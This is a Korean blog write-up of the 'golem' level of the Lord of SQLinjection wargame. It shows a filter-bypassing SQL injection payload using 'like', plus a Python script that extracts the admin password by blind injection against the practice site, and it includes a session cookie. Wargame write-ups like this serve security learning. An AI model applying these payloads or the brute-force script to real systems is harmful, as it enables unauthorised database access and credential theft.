인젝션을 통해 admin의 비밀번호를 알아내어 pw에 넣으면 풀리는 문제다. =이 필터에 걸려 있기 때문에 like를 사용하여 풀 수 있다.
먼저 비밀번호의 길이를 구해야 한다. 비밀번호의 길이는 아래와 같이 구했다.
?pw=1%27||ascii(id)-103%26%26length(pw)%20like%20%278pw가 8자리라는 것을 알았다. 이젠 blind sql injection을 통해 비밀번호를 따면 된다.
import urllib, urllib2 flag = "" for i in range(1,9): for j in range(33, 128): url = "http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?" url += "pw=1%27||ascii(id)-103%26%26ascii(mid(pw,{},1))%20like%20%27{}".format(i, j) print url req = urllib2.Request(url) req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11') req.add_header('Cookie','__cfduid=d4cc8c809fqewr27de6749e5eaa6r3e1f1500957474; PHPSESSID=498O4fb9opfr78vauqu88eq611') res = urllib2.urlopen(req).read() if "Hello admin" in res: print "[+] Find! : " + chr(j) flag += chr(j) break print "[+] Find Flag! : " + flag
'Wargame > lord of sqlinjection' 카테고리의 다른 글
Lord of SQLinjection bugbear (0) | 2017.08.02 |
---|---|
Lord of SQLinjection darkknight (0) | 2017.07.30 |
Lord of SQLinjection skeleton (0) | 2017.07.30 |
Lord of SQLinjection vampire (0) | 2017.07.25 |
Lord of SQLinjection Troll (0) | 2017.07.25 |